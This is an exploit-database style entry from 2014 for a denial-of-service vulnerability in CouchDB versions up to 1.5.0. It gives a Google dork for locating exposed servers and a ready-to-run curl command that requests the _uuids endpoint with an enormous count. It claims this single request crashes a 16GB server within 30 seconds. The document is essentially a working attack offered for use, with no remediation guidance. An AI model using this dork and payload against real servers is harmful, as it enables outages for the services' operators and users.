CouchDB versions up to 1.5.0 suffer from a denial of service vulnerability.
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# Exploit Title: Couchdb uuids DOS exploit
# Google Dork inurl: _uuids
# Date: 03/24/2014
# Exploit Author: KrustyHack
# Vendor Homepage: http://couchdb.apache.org/
# Software Link: http://couchdb.apache.org/
# Version: up to 1.5.0
# Tested on: Linux Couchdb up to 1.5.0
HOW TO
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curl http://couchdb_target/_uuids?count=99999999999999999999999999999999999999999999999999999999999999999999999
TEST
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Tested on a 16G RAM Quadcore server. Couchdb dead on 30 seconds with only one GET request.